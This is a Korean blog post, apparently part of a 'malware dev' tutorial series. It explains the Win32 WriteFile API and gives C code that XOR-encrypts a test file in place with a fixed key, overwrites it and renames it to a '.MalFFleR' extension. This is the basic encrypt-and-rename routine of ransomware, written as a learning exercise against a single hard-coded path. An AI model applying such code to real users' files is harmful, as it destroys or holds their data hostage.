woonadz :)

WIN32 API 프로그래밍 - 특정 파일 XOR 암호화하기(2):암호화된 데이터 새로운 확장자로 저장하기 (WriteFile) 본문

IT/malware dev

WIN32 API 프로그래밍 - 특정 파일 XOR 암호화하기(2):암호화된 데이터 새로운 확장자로 저장하기 (WriteFile)

C_scorch 2023. 10. 31. 12:25
반응형

WriteFile : 지정된 파일 또는 I/O(입출력) 디바이스에 데이터를 씁니다.

BOOL WriteFile(
  [in]                HANDLE       hFile,
  [in]                LPCVOID      lpBuffer,
  [in]                DWORD        nNumberOfBytesToWrite,
  [out, optional]     LPDWORD      lpNumberOfBytesWritten,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

[in] hFile

파일 또는 I/O 디바이스에 대한 핸들(예: 파일, 파일 스트림, 실제 디스크, 볼륨, 콘솔 버퍼, 테이프 드라이브, 소켓, 통신 리소스, mailslot 또는 파이프).

hFile 매개 변수는 쓰기 액세스 권한으로 만들어졌어야 합니다. 자세한 내용은 일반 액세스 권한 및 파일 보안 및 액세스 권한을 참조하세요.

비동기 쓰기 작업의 경우 hFile은 FILE_FLAG_OVERLAPPED 플래그 또는 소켓 또는 accept 함수에서 반환된 소켓 핸들을 사용하여 CreateFile 함수로 연 모든 핸들일 수 있습니다.

⇒ 특정 파일 XOR 암호화하기(1)에서 CreateFileA 함수로 열었던 파일에 덮어씌워줄 것이기 때문에 그 반환 값을 지정해주겠습니다.

 

[in] lpBuffer

파일 또는 디바이스에 쓸 데이터를 포함하는 버퍼에 대한 포인터입니다.

이 버퍼는 쓰기 작업 기간 동안 유효한 상태로 유지되어야 합니다. 호출자는 쓰기 작업이 완료될 때까지 이 버퍼를 사용하면 안됩니다.

⇒ data 배열에 암호화된 데이터를 추가했기 때문에 data 배열의 값을 지정해주겠습니다.

 

[in] nNumberOfBytesToWrite

파일 또는 디바이스에 쓸 바이트 수입니다.

값이 0이면 null 쓰기 작업이 지정됩니다. null 쓰기 작업의 동작은 기본 파일 시스템 또는 통신 기술에 따라 달라집니다.

⇒ data 배열을 sizeof 로 측정하여 값을 넘겨주겠습니다.

 

[out, optional] lpNumberOfBytesWritten

동기 hFile 매개 변수를 사용할 때 작성된 바이트 수를 수신하는 변수에 대한 포인터입니다. WriteFile 은 작업 또는 오류 검사를 수행하기 전에 이 값을 0으로 설정합니다. 잠재적으로 잘못된 결과를 방지하려면 비동기 작업인 경우 이 매개 변수에 NULL 을 사용합니다.

lpOverlapped 매개 변수가 NULL이 아닌 경우에만 이 매개 변수는 NULL일 수 있습니다.

⇒ optional 이기 때문에 NULL로 설정해주겠습니다.

 

[in, out, optional] lpOverlapped

hFile 매개 변수를 FILE_FLAG_OVERLAPPED 열면 OVERLAPPED 구조체에 대한 포인터가 필요하며, 그렇지 않으면 이 매개 변수가 NULL일 수 있습니다.

바이트 오프셋을 지원하는 hFile 의 경우 이 매개 변수를 사용하는 경우 파일 또는 디바이스에 쓰기를 시작할 바이트 오프셋을 지정해야 합니다. 이 오프셋은 OVERLAPPED 구조체의 Offset 및 OffsetHigh 멤버를 설정하여 지정합니다. 바이트 오프셋을 지원하지 않는 hFile 의 경우 Offset 및 OffsetHigh 는 무시됩니다.

파일 끝에 쓰려면 OVERLAPPED 구조체의 Offset 및 OffsetHigh 멤버를 모두 0xFFFFFFFF 지정합니다. 이는 이전에 CreateFile 함수를 호출하여 FILE_APPEND_DATA 액세스를 사용하여 hFile을 여는 것과 기능적으로 동일합니다.

lpOverlapped 및 FILE_FLAG_OVERLAPPED 다양한 조합에 대한 자세한 내용은 설명 섹션 및 동기화 및 파일 위치 섹션을 참조하세요.

⇒ 마찬가지로 동기 작업을 수행하기 때문에 NULL로 지정해주겠습니다.

 

반환 값

함수가 성공하면 반환 값은 0이 아닌 값(TRUE)입니다.

함수가 실패하거나 비동기적으로 완료되는 경우 반환 값은 0(FALSE)입니다. 확장 오류 정보를 가져오려면 GetLastError 함수를 호출합니다.

#include <Windows.h>
#include <stdio.h>
#include <fileapi.h>
#define buffersize 1024

const BYTE xorKey[] = { 'M', 'a', 'l', 'F', 'F', 'l', 'e', 'R' };

int main(void) {
	LPCSTR path = "C:\\\\Users\\\\Owner\\\\Documents\\\\test\\\\1.txt";
	LPVOID buffer[buffersize];
	DWORD BytesRead = 0;
	BYTE* data = NULL;
	DWORD totalBytesRead = 0;

	HANDLE CreateFile_result_read = CreateFileA(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // 파일을 열 때 기존 내용을 가져오기 위해 GENERIC_READ, OPEN_EXITING 사용

	while (ReadFile(CreateFile_result_read, buffer, buffersize, &BytesRead, NULL) && BytesRead > 0) {
		data = (BYTE*)realloc(data, totalBytesRead + BytesRead);
		memcpy(data + totalBytesRead, buffer, BytesRead);
		totalBytesRead += BytesRead;
	}

	for (DWORD i = 0; i < totalBytesRead; i++) {
		data[i] ^= xorKey[i % 8]; // 8바이트 키를 순환하며 XOR 연산
	}
	for (DWORD i = 0; i < totalBytesRead; i++) {
		printf("%c", data[i]);
	}

	CloseHandle(CreateFile_result_read); // 파일 핸들을 닫음

	// 파일을 열 때 기존 내용을 삭제하고 덮어쓰기 위해 GENERIC_WRITE, CREATE_ALWAYS 사용
	HANDLE CreateFile_result_write = CreateFileA(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	printf("%p",CreateFile_result_write);

	BOOL result = WriteFile(CreateFile_result_write, data, totalBytesRead, NULL, NULL); // XOR로 암호화된 데이터 덮어쓰기

	printf("%d",result);

	free(data);
	CloseHandle(CreateFile_result_write); // 파일 핸들을 닫음

	return 0;
}

이번 코드를 작성하면서 새롭게 알게 된 사실이 있었습니다. 처음에는 호출했던 함수들의 값을 담은 핸들을 한번에 닫게 코드를 작성했었지만, 두 번째 호출했던 함수에 대한 핸들 값이 담기지 않는 문제가 발생하였습니다. 그 이유는 Windows 에서 파일을 다룰 때 각 파일은 유일한 파일 핸들을 가지고 있어, 동일한 파일에 대해 여러 개의 HANDLE을 호출할 수 없었기 때문입니다. 그래서 두 번째 CreateFileA 함수를 호출하기 전에 첫 번째 CreateFileA 함수에 대한 핸들을 닫아주었습니다.

 

다음은 파일의 확장자를 변경하는 코드를 추가하겠습니다.

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <fileapi.h>
#include <shlwapi.h>
#include <string.h>
#define buffersize 1024

#pragma comment (lib, "shlwapi.lib")

const BYTE xorKey[] = { 'M', 'a', 'l', 'F', 'F', 'l', 'e', 'R' };

int main(void) {
	LPCSTR path = "C:\\\\Users\\\\Owner\\\\Documents\\\\test\\\\1.txt";
	LPVOID buffer[buffersize];
	DWORD BytesRead = 0;
	BYTE* data = NULL;
	DWORD totalBytesRead = 0;

	HANDLE CreateFile_result_read = CreateFileA(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	while (ReadFile(CreateFile_result_read, buffer, buffersize, &BytesRead, NULL) && BytesRead > 0) {
		data = (BYTE*)realloc(data, totalBytesRead + BytesRead);
		memcpy(data + totalBytesRead, buffer, BytesRead);
		totalBytesRead += BytesRead;
	}

	for (DWORD i = 0; i < totalBytesRead; i++) {
		data[i] ^= xorKey[i % 8]; // 8바이트 키를 순환하며 XOR 연산
	}

	CloseHandle(CreateFile_result_read); // 핸들을 닫음

	// 파일을 열 때 기존 내용을 삭제하고 덮어쓰기 위해 CREATE_ALWAYS 사용
	HANDLE CreateFile_result_write = CreateFileA(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	BOOL result = WriteFile(CreateFile_result_write, data, totalBytesRead, NULL, NULL); // XOR로 암호화된 데이터 덮어쓰기
    
  free(data);
  CloseHandle(CreateFile_result_write); // 핸들을 닫음

	char newpath[100] = "C:\\\\Users\\\\Owner\\\\Documents\\\\test\\\\1.txt"; // 확장자를 제외한 경로를 파싱할 변수
	char res[100] = "C:\\\\Users\\\\Owner\\\\Documents\\\\test\\\\1.txt"; // 확장자를 바꿀 파일의 경로
	char Ext[] = ".MalFFleR"; // 새로운 확장자

	strtok(newpath, "."); // "."을 기준으로 문자열 파싱
	
	if (newpath != NULL) {
		strcat(newpath, Ext); // 새로운 확장자와 결합
		printf("%s", newpath);
		if (rename(res, newpath) == 0) { // 파일명 변경
			printf("Rename successful.\\n");
		}
		else {
			printf("Rename failed.\\n");
		}
	}

	return 0;
}

이 코드도 핸들을 언제 닫아줄지 정하는 것이 중요합니다. rename이라는 함수를 사용하여 변경된 확장자를 적용해주었는데 이때 파일의 핸들이 닫혀있지 않으면 rename 함수는 실패하게 됩니다. 그렇기 때문에 rename 함수를 호출하기 전에 확장자를 바꿀 파일에 대한 핸들을 닫아주어야합니다.

 

실제로 코드가 실행된 화면은 다음과 같습니다.

반응형